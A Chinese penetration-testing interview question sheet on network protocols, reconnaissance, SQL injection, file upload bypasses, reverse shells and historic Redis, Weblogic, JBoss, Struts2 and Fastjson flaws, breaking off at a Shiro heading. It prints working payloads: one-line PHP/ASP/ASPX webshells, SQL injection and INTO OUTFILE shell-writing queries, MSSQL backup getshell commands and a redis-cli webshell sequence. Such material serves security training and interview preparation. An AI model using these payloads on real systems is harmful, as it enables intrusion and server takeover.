渗透测试面试题
一、网络层协议
1、OSI七层模型
- 应用层:应用程序协议
- 表示层:数据传化,代码转换,数据加密
- 会话层:接触或建立会话连接
- 传输层:接受上层数据传输给网络层
- 网络层:控制子网运行,逻辑编址,选择路由
- 数据链路层:物理寻址,将原始比特流转化为逻辑传输路线
- 物理层:以二进制形式在物理媒体上传输数据
2、应用层协议
- DNS(域名解析协议):是一个将ip与域名相互映射的分布式数据库,是互联网中提供的一种服务。
- 也称为单播域名解析系统,uDNS
- 端口:53(tcp/udp)
- 解析方式:
- 正向解析:将域名解析为ip
- 逆向解析:将ip解析为域名
- 解析过程:
- 首先向浏览器的DNS缓存中查找,如果有且没有过期,那么解析到此结束
- 如果没有,再向操作系统本身查找DNS缓存,如果有就解析结束
- 还没有就会向路由器发起查询请求,
- 最后回想ISP(互联网服务提供商)查询DNS缓存,最后都会再这里查找。
- mDNS(组播域名系统):可以再没有DNS的网络环境中,让相同网段的设备进行互相通信,与NetBIOS类似。
- 端口:5353
- 是dns的延伸,用法与dns基本想同
- 区别:不请求dns服务器,而是在局域网内广播,所有支持组播的dns会回复一个以.local为结尾的机器名的域名,如果没有指定机器名字或者有冲突,那么就会换个名字继续广播,直达名字可用,被其他设备所接受
- FTP(文件传输协议):进行文件传输的一套标准协议。
- 端口:
- 20端口,用于传输数据
- 21端口,用于传输控制信息
- 端口:
- HTTP(超文本传输协议):因特网上应用最广的网络传输协议
- 端口:80、81(预备)、8080(替代端口)
- 版本:HTTP/1.0和HTTP/1.1
- 请求过程:
- 首先浏览器解析域名为ip地址
- 浏览器就与web服务器建立一个tcp连接
- 再发送http请求给web服务器
- 服务器返回HTML代码网页
- 浏览器进行解析展现网页,并请求网页中的资源
- 最后关闭TCP连接。
- 请求方式:
- GET、POST、DELETE、CONNECT、OPTIONS、PATCH、TRACE、PUT、HEAD
- GET与POST的请求区别:
- GET请求方式的参数在url上,以?和&连接,且数据大小最多为1024,有限制;请求会缓存到浏览器的历史记录中
- POST请求携带的参数,在请求体中,没有大小限制,且不会被浏览器缓存,不显示在URL地址栏中
- HTTP的请求报文组成
- 请求行
- 请求方法
- 请求地址URL
- HTTP协议版本
- 请求头
- 添加了一些附加信息
- Host:请求的服务器地址
- User-Agent:发送请求的应用程序名称
- Connection:指定此次请求的连接方式
- Accept-Charset:通知服务端发送的编码格式
- Accept-Encoding:通知服务端可以发送的数据压缩格式
- Accept-Language:通知服务端可以发送的语言。
- Referer:引用,表明这个请求是从哪个URL过来的。
- Cookie:状态保持,服务器无法判断两个请求是否来自同一个人,需用 Cookie 来做标识。是 Web 服务器保存在客户端的一系列文本信息。
- Session:服务器的会话凭证
- 请求空行
- 请求体
- 请求行
- 连接方式
- 长连接(HTTP/1.1)
- 就是指一个连接可以发送多个数据包,在连接期间如果没有数据包发送,双方就会发送数据链路包检测通信安全性,稳定安全消耗资源多。
- 短链接(HTTP/1.0)
- 就是指在发送数据时建立连接,发送完就关闭,节省通道,连接建立开销大
- 长连接(HTTP/1.1)
- HTTP响应报文:
- 状态行
- 响应头部
- 空行
- 响应数据
- HTTPS(超文本传输安全协议):HTTP的加密版本
- 端口:443
- 在HTTP的基础上通过传输加密和身份确认保证了传输过程的安全性,加入了TLS和SSL层协议
- SMTP(简单邮件传输协议)
- 端口:25、336、465、587
- POP3(邮局协议版本):用于支持客户端远程管理在服务器上的电子邮件
- 端口:110,995
- IMAP4(英特网信息存取协议):POP3的邮件管理升级版
- 端口:143、220、993
- RDP(远程桌面协议):多通道协议
- 端口:3389
- SIP(会话初始协议):用于创建、修改和释放一个或多个参与者的会话,源于互联网的 IP 语音会话控制协议,具有灵活、易于实现、便于扩展等特点
- 端口:5060、5061
- SNMP(简单网络管理协议):专门设计用于在 IP 网络管理网络节点的一种标准协议
- 端口:161、162
- SSH(安全外壳协议):是较可靠,用于计算机之间的加密登录网络协议,可以有效防止远程管理过程中的信息泄露问题
- 端口:22
- Telnet(TCP/IP终端仿真协议):是 Internet 远程登录服务的标准协议和主要方式
- 端口:23
3、表示层协议
- NFS(网络文件系统):有SUN公司研发的UNIX表示层协议,能使使用者访问网络上别处的文件,就像在使用自己的计算机一样
- 端口:2049
4、会话层协议
- NetBIOS(网上基本输入输出系统):让不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据
- TLS(安全传输层协议):用于在两个通信应用程序之间提供保密性和数据完整性
- ALPN(应用层协商协议):是 TLS 协议的扩展,允许应用层协商在安全连接上使用哪个协议。
- SSL(安全套接字协议):用以保障在 Internet 上数据传输的安全,利用数据加密(Encryption)技术,可确保数据在网络上的传输过程中不会被截取及窃听
5、传输层协议
- TCP(传输控制协议):是一种面向连接的、可靠的、基于字节流的传输层通信协议
- 三次握手(建立连接):
- 首先客户端发送SYN请求包到服务器,
- 服务器收到SYN包,并返回SYN+ACK的包给客户端
- 客户端收到SYN+ACK的包后,再返回一个ACK确认包,三次握手完成
- 四次握手(断开连接):
- 首先客户端发送FIN连接释放请求
- 服务器收到后,告诉应用层释放TCP连接,让后发送ACK包,此时服务器不接受客户端数据包,但可以发送数据给客户端
- 服务器发送数据完毕后,会向客户端发送FIN包,
- 最后,客户端收到服务器的FIN包,向服务器发送ACK,进行等待阶段,如服务器没有重发请求,客户端就关闭,服务器收到ACK后,就进入关闭状态
- 三次握手(建立连接):
- UDP(用户数据报协议):是一种面向消息,无连接的传输层通信协议,提供一种无需连接发送封装IP数据包的方法
- SCTP(流量控制传输协议):后引入的一种新的面向消息的传输层通信协议
- 提供了TCP一样的可靠有序的数据传输功能,却能和UDP一样面对消息的方式来进行操作,保护消息的边界
6、网络层协议
- IP(互联网协议):只为主机提供一种无连接、不可靠的、尽力而为的数据包传输服务
- ipv4:255
- ipv6:128
- ICMP(互联网控制消息协议):用于再IP主机、路由器之间传递控制消息,没有端口号
- SMB(服务器信息模块):用于web连接和客户端与服务器之间的信息沟通
- CIFS(通用网络文件系统):是公共开放的SMB协议版本,是程序可以访问远程网络计算机的文件,并要求此计算机提供服务
7、数据链路层协议
- ARP(地址解析协议):将IP地址转换为MAC物理地址的一个协议
8、其他协议
- HANP(家庭网络管理协议):是一种基于 HTTP-SOAP 实现的网络管理协议,允许远程拓扑发现,配置和管理设备(路由器,摄像机,PC,NAS等)。
9、什么是同源策略?
- 是一种浏览器实施的安全机制,用来限制不同源的文档或脚本之间的互相操作
- 判断方式
- 协议、域名、端口、ip地址,这些不同即为不同源
10、TCP与UDP的区别?
- TCP面向连接,UDP面向报文
- TCP系统资源要求多,UDP结构简单,相对较少
- TCP保证数据的完整性和顺序性;UDP不保证
11、HTTPS的实现原理?
- 客户端首先发送randmo1+对称加密列表套件+非对称加密列表套件
- 服务器收到信息,选择对称加密套件+非对称加密套件,并和randmo2+证书(公钥包含在证书里面)一起返回
- 客户端验证证书的有效性,并用randmo1+randmo2生成pre-master,通过服务器公钥加密+和浏览器确认,发送给服务器
- 服务器收到pre-master,根据约定的加密算法,对randmo1+randmo2+pre-master进行解密。生成一个master-secret,然后发送服务器确认
- 客户端收到生成同样的master-secret,对称加密钥传输完毕。
12、简述ICMP协议类型有哪些?
- ICMP是网络层协议,依赖IP协议,类型有,8(ping请求),0(应答),3(目标不可达),11(ttl超时)
13、cookie和session的区别?
- 存储位置不同,cookie是在客户端,session是在服务端
- 存储的数据类型不同,cookie是字符串,session有object类型
- 大小也不同,cookie是受客户端浏览器大小限制,最大4kb,session是受当前内存限制
14、ARP协议工作原理?
- ARP协议是数据链路层的协议,是根据IP地址获取物理地址的一个TCP/IP协议
- 工作原理:是发送ARP请求,以广播方式到以太网上的每个主机,请求帧中包含了目的机器的IP地址。目的主机收到ARP请求后,会返送一个ARP应答,里面包含了主机的MAC地址。其他机器发现不是自己的IP就会选择丢弃。
15、SSL是什么?工作时,怎么保证安全的?
- SSL安全套接字协议,位于会话层,是用来进行数据的加密和验证的。
- 保障安全的方式是:
- 客户端在向服务端发送SSL连接时,服务器会把自己的公钥给客户端,自己留下一把私钥,客户端就用这个公钥对通信进行对称加密,再传输数据,同时,客户端发送数据时,会用公钥进行加密,而服务器就会使用私钥,对数据包进行解密验证,从而保证传输工作的安全性,即使数据包丢失,第三方获得也无法解密篡改。
二、信息收集
1、什么是信息收集?
- 信息收集是指通过各种方式获取所需要的信息,便于后续渗透过程更好的进行。
2、为什么要信息收集,意义在哪?
- 提高渗透测试的成功性
- 发现更多的暴露面
- 扩大渗透的可能性
3、信息收集有哪两大类?
-
主动收集
直接在目标网站上收集信息,进行扫描,操作等,有流量经过就是主动收集
-
被动收集
基于公开渠道,搜索引擎等,不予目标系统之间交互,而获得信息,尽量避免留下痕迹的方式。
4、信息收集哪些信息呢?
- 大概分为这几类:域名信息、服务器信息、网站信息、管理员信息
- 具体收集如下:
- 域名信息:whois、域名备案信息、子域名、SSL证书
- 服务器信息:IP信息,开放的端口信息
- 网站信息:操作系统判断、网站的容器类型、脚本和数据库类型、CMS识别、敏感文件目录识别、网站WAF识别、有无GIT泄露
- 管理员信息:主要是看备案信息和公司信息,有没有文件泄露啥的
5、信息收集如何处理子域名爆破的泛解析问题?
- 根据TTL值来判断,将TTL作为黑名单规则的一部分,评判方式是,泛解析的TTL值是相同的,如果子域名记录相同但是TTL值不同,那么就不是泛解析记录
- 还有就是就是解析不存在的IP,来建立黑名单IP,存在跳过,不存在入库
6、如何绕过CDN呢?
- 首先多地ping测试CDN是否使用
- 如果有的话,可以查找子域名或者父域名,不一定都使用了CDN,就可以通过这种方式查找对应的IP
- 还有就是CDN可能是在网站上线一段时间后才上线的,可以通过查找域名历史解析记录的方式去查找真实IP
- 还有就是通过网站上功能,如通过URL加载图片,发送邮件等
- 最后就是网站各种探针类文件,如phpinfo里面的server【server_addr】也包含了服务端的真实IP,这种情况较少
7、判断出网站的CMS对渗透有什么意义?
- 可以查找以及曝光的程序漏洞,如果是开源的,可以下载对应的源代码,进行代码审计
8、一个成熟并且相对安全的CMS,渗透时扫描目录的意义?
- 暴露一些敏感文件、二级目录,站长误操作,网站备份的压缩文件,说明,或者其他站点的信息
9、常见的网站中间件有哪些?
- Apach、nginx、tomcat、Weblogic、Jboss、Lighthttpd
10、如何判断网站是windows还是Linux服务器?
- 一是,linux大小写敏感、windows大小写不敏感
- 二是,通过ping TTL的值来判断,windows一般都是128,linux为64,大于100的大都为windows,小于的一般为linux
- 三是,nmap扫描,-O参数
11、给你一个目标站,并且告诉你根目录下存在/abc/目录,并且此目录下存在编辑器和 admin 目录,你的想法是什么?
- 直接用7KB或者破壳字典,在网站的二级目录/abc/下扫描敏感文件及目录
12、SVN/GIT源码泄露是怎样的?
- SVN泄露,是在本地管理代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息:/svn/entries
- 使用git进行版本控制,对站点自动部署。如果配置不当,可能将.git文件夹直接部署到线上环境,这就引起了git泄露:/.git/config
13、在渗透过程中,收集目标站注册人邮件对我们有什么价值?
- 丢社工库里看看有没有泄露密码,然后尝试用泄露的密码进行登录后台
- 利用邮箱作为挂关键字丢入搜索引擎,得到其相关信息,和社交账号,社工找出社交账号,生成专用习惯的密码字典
三、漏洞利用
1、SQL注入
1.1、常见的数据库端口有哪些?
- mysql:3306
- Oracle:1521
- SQL server:1433
- PosthreSQL:5432
- MongoDB:27017
- Redis:6379
- Cassandra(可桑zhua):9042
- Elasticsearch:9200
- SQLite数据库通常使用本地文件,不需要指定端口。
1.2、什么时SQL注入?
- SQL注入是指:将恶意的SQL命令注入到程序后台,并在数据库引擎执行的能力,这是由Web应用程序对用户输入的数据没有进行数据合法性严格的判断所导致。
1.3、SQL注入有哪几种类型?
- 从数据类型来看:分为数字型、字符型、搜素型
- 从数据库返回结果来看:回显注入、报错注入、盲注,盲注就是布尔盲注和时间盲注
- 要是从注入点来分类:GET注入、POST注入、Cookie注入、Header注入
1.4、那么如何判断是数字型、字符型或是搜索型呢这方面的注入呢?
- 数值型,就有两种方式:
- 用and逻辑测试,看是否被带入数据库执行
- 还有就是在输入的参数带入单引号’,构造SQL语法错误,来判断输入是否被执行
- 字符型的话,它的参数是被引号所包裹
- 那么就可以在参数后面添加单引号或者双引号来构造SQL语法错误,来判断输入是否被执行
- 搜索型,他与字符型相比多了一对%号
- 那么我就在构造SQL语句时,用%来闭合,如果存在漏洞的话,会返回正常的信息
1.5、说明一些回显注入、报错注入、盲注的利用原理
- 回显注入的利用原理:当当前注入页面能获取返回结果时,利用逻辑运算符or或者and,进行拼接,结果能正常显示出来,说明存在回显注入
- 报错注入的原理:应用程序将数据库的报错信息,返回到当前页面中,但没有数据库查询的结果;那我们通过构造一些报错的SQL语句来返回显示错误信息中想要的结果。
- 盲注的原理:程序限制返回数据库的报错信息,因此在查询错误时,没有将结果返回,或者只显示两种情况,正确的和提示错误,那么我们利用这两种提示结构,构造boolean判断方式的sql语句来证实我们查询猜测的结果,进而判断出是否存在漏洞,和枚举出数据库的信息。
- 哪如果没有这两种情况呢?
- 那么就时间盲注,来构造sql语句,用boolean判断我们的猜测,结果就用睡眠函数,来指定数据库休眠时间,正确情况下休眠多久,错误不休眠,这样来以此让服务器响应的时间变长或者变短。来进行判断。
- 哪如果没有这两种情况呢?
1.6、请说明一下SQL注入的过程(步骤)
- 首先判断出,注入的数据类型是,数字、字符还是搜索型
- 然后判断结果的字段数,是响应几个字段,使用order by方式
- 其次在根据字段数,判单出回显位数,也就是在页面显示出的位数
- 再根据回显出的位数,在对应的位数上进行联合查询或者其他查询操作,将结果回显到对应的位置上
1.7什么是XFF注入?
在HTTP 的HEAD中存在X-Forwarded-for参数的调用
-
使用前提:X-Forword-For的值是*,那么就可以输入SQL语句来代替
- 首先用单引号测试,显示报错的话,就可以构造恶意SQL语句
X-Forwarded-For:127.0.0.1’,updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #
1.8、请说明在最后查询数据库信息时,是根据什么获取的?
-
是根据数据库中的:information_schema这个数据库获取的,里面存放着维护其他数据库和表的信息。
- 里面的schemata表提供了所有的数据库信息
- Tables表提供了数据库中对应数据表的信息
- columns表则提供了某张表所有列的字段信息
以此来获取数据库的所有信息。
1.9、如何突破SQL注入时,字符被转义?
- 使用宽字节注入方式:
- 产生原因是:两者的字节编码不一致导致,从而导致应用程序处理方式不同
- hex编码饶过
- 将字符转变成对应进制来代替表示
1.10、mysql注入,5.0以上版本和以下版本有什么不同?
- 5.0以下版本没有information_schema库,不能列表明,只能暴力跑表名
- mysql5.0以下版本是多用户单操作
- 就是在一个周期内执行多个操作
- mysql5.0 以上是多用户多操作
- 是指多个用户在同一个时间内共享并执行多个任务的能力
1.11、盲注如何快速获取数据?
- 使用dnslog辅助盲注
1.12、SQL注入语句中只有update怎么利用?
这个的话具体问题,具体分析吧,如果注入点在password的话
- 可用更改任意用户密码
- 更改用户级别
1.13、SQL注入语句中有个64位编码或者类似其他编码的变形注入,你的思路是什么?
- 首先是确认是哪种编码格式,看是base64还是其他什么
- 然后将payload进行对应的编码,放入测试即可
1.14、发现注入点,你有哪些思路去getshell?优先级是怎么样的?
- 如果具有写权限,之间sqlmap --os-shell获取shell
- 第二种,拉取数据,获取网站账号,最好是管理员的,登录后台,手动上传漏洞getshell
第一种优先级最高,最快速,但需要具体情况具体分析。
1.15、SQL注入写入shell条件是什么?
- 当前数据库用户具备管理员权限
- 需要知道用户的绝对路径,就是文件写到哪个位置
- 需要网站的可写目录
- mysql需要配置secure_file_prive为空
- 主要使用的是into outfile
d=1' and 1=2 union select 1,2,'shell内容' into outfile "/www//site//shell.php" %23
- 当然使用sqlmap --os-shell更直接
1.16、MSSQL差异备份怎么getshell?
-
前提条件:
- MSSQL具有dbo和sa权限(数据库备份权限)
- 支持堆叠查询(允许多个查询语句组合在一起,一次性执行)
- 知道网站的绝对路径
-
实现原理:
-
完整备份后,再对数据库进行修改,差异备份会记录最后的LSN,将shell写入数据库,备份asp即可getshell
-
完整备份
backup database 库名 to disk = 'c:\ddd.bak';--
-
创建表并插入数据
create table [dbo].[dtest] ([cmd] [image]);-- insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);-- x3C25657865637574652872657175657374282261222929253E,这就是小马内容:<%execute(request(“a”))%>
-
进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
-
-
1.17、既然提到了sqlmap,说一下常用的参数有哪些?
- -u:指定url
- -r:指定请求包文件
- -m:批量跑get
- -current-db:获取当前数据库
- -table:获取指定数据库下的数据表
- -tamper:指定tamper脚本,进行bypass
- -os-shell:获取shell
- -random-agent:随机指定user-agent
- -p:指定要测试的参数
1.18、sqlmap怎么对一个注入点进行注入测试?
-
如果是get类型,就直接使用-u参数
-
如果是post类型,还要添加–data=post参数来指定请求方式
-
head注入的话,用-r参数请求数据包的文件地址
当然在post或者header注入时,可以在注入点后添加*号,来标记注入点
1.19、udf的提权原理?
- Mysql支持用户自定义函数,恶意用户将含有自定义函数的dll放入特定的文件夹,声明引入中引入的函数,使用执行的函数来执行系统命令。
1.20、SQL注入Bypass绕过waf思路?
- 内联注释绕过
- 填充脏数据绕过
- 更改请求方式绕过,如get改成post
- 随机agent绕过
- fuzz过滤函数,函数替换绕过
- sqlmap、tamper脚本绕过
1.21、sqlmap编写脚本的方法
- 网上有模板,主要是proiority定义tamper优先级、dependencis适用范围、temper关键函数,定义过滤规则
1.22、如何防止sql注入?
- 使用参数化查询或者预编译语句
- 输入验证和过滤
- 最小权限原则
- 避免动态拼接sql语句
- 使用orm框架
- 定期更新和维护
1.23、SQLmap --os-shell的原理是什么?
- 使用前的必要因素
- 要拥有网站的写入权限
- secure_file_prive参数为空或者为指定路径
- 因为普通的–os-shell主要是通过上传一个sqlmap的马,通过马来执行命令
- 普通检测注入上传shell
- 先进行目标的一个基础信息的探测
- 让后上传shell到目标网站上。首先通过into outfile进行文件的写入,上传一个上传功能的马,通过上传马进行webshell的上传
- 退出时执行命令删除webshell
- SQL-server --os-shell,主要是利用xp_cmdshell扩展来进行命令执行。xp_cmdshell存储过程如果被禁,sqlmap会重新启用它,如果不存在,会自动创建
- 使用的必要条件
- 数据库支持外连接
- 数据库权限为sa权限
- 主要做三件事
- 识别当前数据库类型,然后打印出来
- 检测数据库是否为dba,也就是查看是否有sa权限
- 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启
- 使用的必要条件
- MySQL --os-shell,主要是通过UDF执行命令,SQLMAP上传一个二进制库,包含用户自定义函数,sys_exec()和sys_eval()。通过创建的这两个函数可以执行系统命令
- 前提条件:
- 数据库支持外连
- secure_file_prive参数为空或者为指定的路径
- 对mysql指定的目录具有写权限
- 大于5.1的版本,需要存在/lib/plugin目录
- 主要做五件事
- 连接mysql数据库并获取数据版本
- 检测是否为数据库dba
- 检测sys_exec和sys_eval 这2个函数是否已经被创建
- 上传DDL文件到对应目录
- 用户退出时默认删除创建的sys_exec和sys_eval 2个函数
- 前提条件:
2、文件上传
2.1、什么是文件上传?
- 将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终保存在服务端硬盘上作为文件保存下来,这就是文件上传。
2.2、什么是文件上传漏洞呢?
- 是指用户上传了一个可执行的脚本文件,并通过此文件获得了执行服务器终端命令的能力,这种攻击方式就是文件上传漏洞。
2.3、请问文件上传漏洞产生的原因有哪些?
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
- 过滤不严或被绕过
2.4、文件上传检测的方式有哪些?
- 客户端js检测
- 服务端的MIME类型检测(content-type内容)
- 服务端目录径检测(path参数)
- 服务端扩展名检测
- 服务端文件内容检测
2.5、文件上传的绕过,你知道有哪些?
- 客户端检测的话,一般是JS检测
- 可以禁用js,或者修改js的检测逻辑,达到文件上传
- 服务端检测,一般有三种情况
- MIME类型的检测
- 通过修改上传的请求包,修改其中的Content-type的类型,来进行绕过
- 文件后缀的检测,分为两种
- 黑名单绕过:黑名单是拒绝名单中的后缀上传
- 修改后缀的大小写
- 空格绕过,在后缀名加空格
- 点绕过,在后缀加点(利用windows文件名特性,会自动去掉后面的点)
- ::$DATA绕过,(它是利用windows下NTFS文件系统的一个特性)
- Apach解析漏洞绕过:
- 它解析文件按从右到左判断,如果不可识别再往左边判断,一个一个来,就像aa.php.owf.rar.文件,它就无法识别.rar.owf,那么就会解析成aa.php
- .htacess文件绕过(超文本入口文件),改变目录当前的配置
- 白名单那绕过:指的是允许当前名单的后缀上传
- %00或0x00截断绕过,利用服务端判断文件类型从后往前,文件解析从前往后原理
- 黑名单绕过:黑名单是拒绝名单中的后缀上传
- 文件内容检测
- 文件幻数检测:通常判断前10个字节,来判断出文件的真实性
- 修改文件幻数标志,不同类型文件有着不同标志,修改对应的就行,最后再后面加上一句话木马即可
- 文件加载检测:一般是调用API或函数对文件进行加载检测测试。如图像渲染测试,有些严格会进行二次渲染
- 渲染/加载测试—代码注入绕过
- 原理是再不破坏文件的本身的前提下,找到一行空白区,填充代码,保证文件结构完整。
- 二次渲染-----攻击文件加载器自身
- 用溢出攻击,文件加载器进行加载测试,加载时被溢出就会执行shellcode。
- 渲染/加载测试—代码注入绕过
- 文件幻数检测:通常判断前10个字节,来判断出文件的真实性
- MIME类型的检测
2.6、请问解析漏洞的话你知道的有哪些?
- Apach解析漏洞(原理上面说过了)
- Nginx解析漏洞
- 方式是:文件名加上反斜杠再加上文件名.php,如:test/abc.php,来进行解析攻击
- 原理:Nginx<0.8.37默认使用CGI的方式支持PHP解析,然后fix_pathinfo这个选项被开启了,那么就会把反斜杠前面的文件,当作后面的文件名后缀来进行解析
- 还有一种就是%00.php(版本<=0.8.37 空字节代码执行漏洞)
- 方式是:文件名加上反斜杠再加上文件名.php,如:test/abc.php,来进行解析攻击
- IIS 6.0文件解析漏洞
- 目录解析漏洞
- 方式:www.xxx.com/xx.asp/xx.jpg,服务器默认会把asp目录下的文件解析成asp
- 文件解析漏洞
- 方式:www.xxx.com/xx.asp;.jpg,这种方式也会解析成asp
- 除了asp还有、asa、cer、cdx
- 目录解析漏洞
- ISS 7.0/7.5解析漏洞
- 方式和6.0一样,但漏洞的造成是php配置中,开启了cgi.fix_pathinfo这个参数
2.7、什么是webshell?
- webshell是以asp、php、jsp、或者CGI等网页文件形式存在的一种命令执行环境,也可以将其称之为网页的一种后门,以此控制网站服务器。
2.8、常用的一句话webshell
php一句话木马:
<?php @eval($_POST[value]);?>
asp一句话木马:
<%eval request("value")%>
aspx一句话木马:
<%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
2.9、说明一下蚁剑和冰蝎两个工具的区别
区别:
- 蚁剑支持插件扩展,冰蝎不支持。
- 蚁剑数据传输方式是单向加密传输,而冰蝎是双向加密传输的,且冰蝎偏向于后渗透阶段
3、命令执行
3.1、什么是命令执行漏洞?
- 后端代码对用户输入的恶意参数进行严格的过滤,导致参数被拼接到命令执行函数中,被执行,这就是命令执行漏洞。
3.2、PHP代码执行函数有哪些?
- eval()、assert()、call_user_func()、call_user_func_arry()、preg_replace()、array_map()
3.3、系统命令执行函数有哪些?
- system()、exec()、shell_exec()、passthru()、popen()
3.5、漏洞利用,有哪些呢?
- 命令执行写入webshell
- 反弹shell
4、反弹shell
4.1、什么是反弹shell?
- 就是被控端主动发送请求去连接控制端,提供一个执行命令行的接口,进行被控端操作,就是反弹shell。
4.2、Linux反弹shell的方法有哪些?
-
NC方式
- 正向shell
- 反向shell
主要就是,一方nc -lvvp开启端口监听,另一方连接端口即可,根据开启的主次不同来区分shell正反
-
Bash方式
-
Per方式,msf中有payload使用
-
Curl方式
-
Telnet端口转发的方式
-
openSSL,反弹443端口,流量加密
-
还有其他python,msf的一些payload方法
4.3、windows可以反弹shell吗?
- 可以,使用Netcat工具,它是一个网络工具,开启一个端口监听,再在攻击机上允许NetCat连接到目标系统指定端口就行。
5、弱口令
5.1、什么是弱口令?
- 猜测到或被破解工具破解的口令均为弱口令。
5.2、获得弱口令的方法有哪些?
- 公共弱口令查询
- 条件弱口令
- 暴力破解,滚字典
6、未授权访问
6.1、什么是未授权访问漏洞?
- 就是需要安全配置或权限认证的地址、授权页面配置不当,导致用户无需认证即可访问,从而造成一些信息泄露或权限修改及其他破坏, 这就是未授权访问漏洞。
6.2、常见的未授权访问漏洞有哪些?
- Redis
- docker
- MongoDB
- JBoss
- Hadoop
- Zookeeper
- jenkins
6.4、请说明一下Redis未授权访问漏洞的利用
-
产生原因:
- redis没有设置密码,暴露出来,攻击者用客户端进行无密码连接访问
-
漏洞利用
-
写入webshell
-
要知道网站绝对路径,目录有写入权限才行(这一步可以使用目录扫描工具去发现)
-
redis-cli -h 122.114.225.148 -p 6379 config set dir /var/www/html config set dbfilename shell.php set x "<?php @eval($_POST['cmd']);?>" save
-
-
写入SSH公钥(存放路径/root/.ssh/)
-
写定时任务反弹shell
- debian和ubuntu用户定时任务存放位置:/var/spool/cron/crontabs/用户名下
- centos和redhat用户定时任务存放位置:/var/spool/cron/用户名下
-
主从复制RCE(攻击脚本)
- 原理:将一台主机上的内容复制到受害者机器上,并被加载执行
-
6.5、说说Hadoop未授权访问漏洞的造成及利用
- hadoop是开源的分布式计算框架,用来数据计算和分布存储
- 主要组件
- Hadoop分布式文件系统:
- Hadoop编程模型和处理框架:
- Hadoop YARN
- Hadoop Common
- 主要组件
- 造成原因:
- Hadoop YARN组件端口的,8088和8090,允许用户直接通过API进行任务创建和提交执行等操作。
- 利用网上的POC进行请求攻击即可,反弹shell
7、XSS漏洞
7.1、什么是XSS漏洞?
- XSS漏洞是用户在可控参数输入恶意的js代码,然后被执行成功
7.2、如何判断是否存在XSS漏洞?
- 寻找用户可控的参数(输入点)
- 测试特殊符号、单引号、尖括号等看是否被过滤掉
- 根据上一步结果,如果有过滤那么构造新的script标签形成新的js环境。或者进行防护或绕过
7.3、XSS有哪几种类型?
- DOM型XSS
- 攻击将恶意js参数传递到网页的前端,代码不会传入服务器,直接在客户浏览器上运行
- 反射性型XSS
- 攻击者将恶意js参数传递给网站,经过服务器,然后返回给客户端,并在客户端浏览器上执行
- 存储型XSS
- 攻击将恶意js参数传递给网站,经过服务器存储在数据库中,任何一个客户端在访问改条数据时,恶意的js代码都会在该客户端的浏览器上执行
7.4、绕过XSS安全防护机制有哪些方法?
- HTML实体编码绕过
- JS编码绕过
- DOM操作绕过
- 绕过CSP(内容安全策略)
- 利用浏览器漏洞
- HTTP头注入绕过,在HTTP响应头中注入恶意脚本代码,让浏览器在解析时执行
8、反序列化
8.1、什么是反序列化漏洞?
- 反序列化是将字节流转换为对象,反序列化漏洞就是攻击者构造恶意的序列化数据,使应用程序在反序列化时执行恶意代码或者出发不受控制的行为。
9、其他漏洞
9.1、Weblogic 漏洞
weblogic是javaEE中间件,用于开发、集成、部署、管理、网络、数据库应用的java应用服务器
-
端口:7001
-
后台:/console
-
漏洞
- 弱口令
- 通过弱口令,登录到后台页面,部署可以getshll的war包,访问浏览器地址,getshll
- SSRF:由服务器向内网发送资源请求的安全漏洞
- 访问/uddiexplorer/SearchPublicRegistries.jsp页面,可导致SSRF,使用一些脚本或者特定请求信息,来探测内网中的组件信息
- 反序列化远程代码执行漏洞
- 访问路径/_async/AsyncResponseService判断不安全组件是否开启
- 攻击者构造恶意的HTTP请求,利用反序列化处理输入信息过程中的缺陷,来获取服务器权限或者远程代码执行
- 弱口令
9.2、JBoss历史漏洞
jboss一个基于j2ee的开发源代码的应用服务器,专门运行javaEE程序。
-
漏洞
-
webUI界面未授权访问漏洞
- 访问/jmx-console.使用默认密码admin/admin成功登录,说明存在漏洞,可以上传部署木马war来获取shell
-
administration Console弱口令
- 登录admin/vulhub后台,上传war包去getshell
-
/jxm-console/htmlAdaptor路径对外开发,未身份验证设置,导致未授权访问漏洞
-
利用原理:使用后台jboos.admin>DeploymentFileRepository>store()方法,上传shell,方法中的四个参数
- p1:war包名字
- p2:文件名
- p3:文件格式
- p4:文件内容
此方法会将这些参数拼接起来
-
还可以使用GET或者POST中的HEAD来进行绕过请求
-
-
反序列化漏洞
- 在jboss中/invoker/jmxinvokservlet请求中读取用户传入的对象,利用apach commons collections中的Gadget执行任意代码
- 原因:ReadOnlyAccessFilter过滤器没有进行任何安全检测,就尝试反序列化客户端的数据流
-
9.3、Struts2漏洞
jave Web应用开源的MVC开发框架,本质上是servlet。
-
漏洞发现
- 通过网页的后缀来判断版本,如.do或者.action
- 还有通过/struts/webconsole.html是否存在来进行判断,需要devMode为true
- 还有一些漏洞检测工具
通过发现版本后,查询历史漏洞,利用POC即可
-
漏洞
- S2-045远程命令执行漏洞:该版本在使用jakarata插件上传功能时,攻击者通过修改http中请求头的content-type来触发该漏洞
还有很多历史漏洞,就说一种吧
9.4、Thinkphp漏洞
php开发框架,很多cms基于Thinkphp二次开发的
-
漏洞:
- 通过指定页面的get或者post方式写入shell或者RCE
有很多POC,大都时通过url写入webshell
9.5、Fastjson漏洞
json解释器,java Bean转字符串,字符串反序列化java Bean
- 漏洞
- 反序列化远程执行命令执行漏洞
- 原理
- Fastjson反序列化漏洞,都是基于黑白名单的绕过来实行攻击,应为它有一个autotypeSupport属性默认为false,并且增加了checkAutoType函数,进行防御
- 1.2.25版本引入黑名单,判断类名是否为L开头,以’;'结尾,是就提取加载类名,那我们利用这个构造POC
- 后来就去掉了这个判断方法,但是没有考虑到双写的情况,也就是只防御一组,再多添加一组就不行了
- 1.2.47版本下,利用loadClass中cache为true,首先利用Class获取到的类缓存到mapping中,让后从缓存中获取类,来绕过黑名单
- 黑名单的绕过必须autoTypeSupport属性true才能使用,1.2.25之后默认都为false
- 判断漏洞是否存在,使用dnslog的方式
- 利用:
- JNDI注入+RMI
- 就是远程注入一个反序列化的类,让后再远程掉用这个类上的接口
- JNDI注入+RMI
9.6、Shiro漏洞
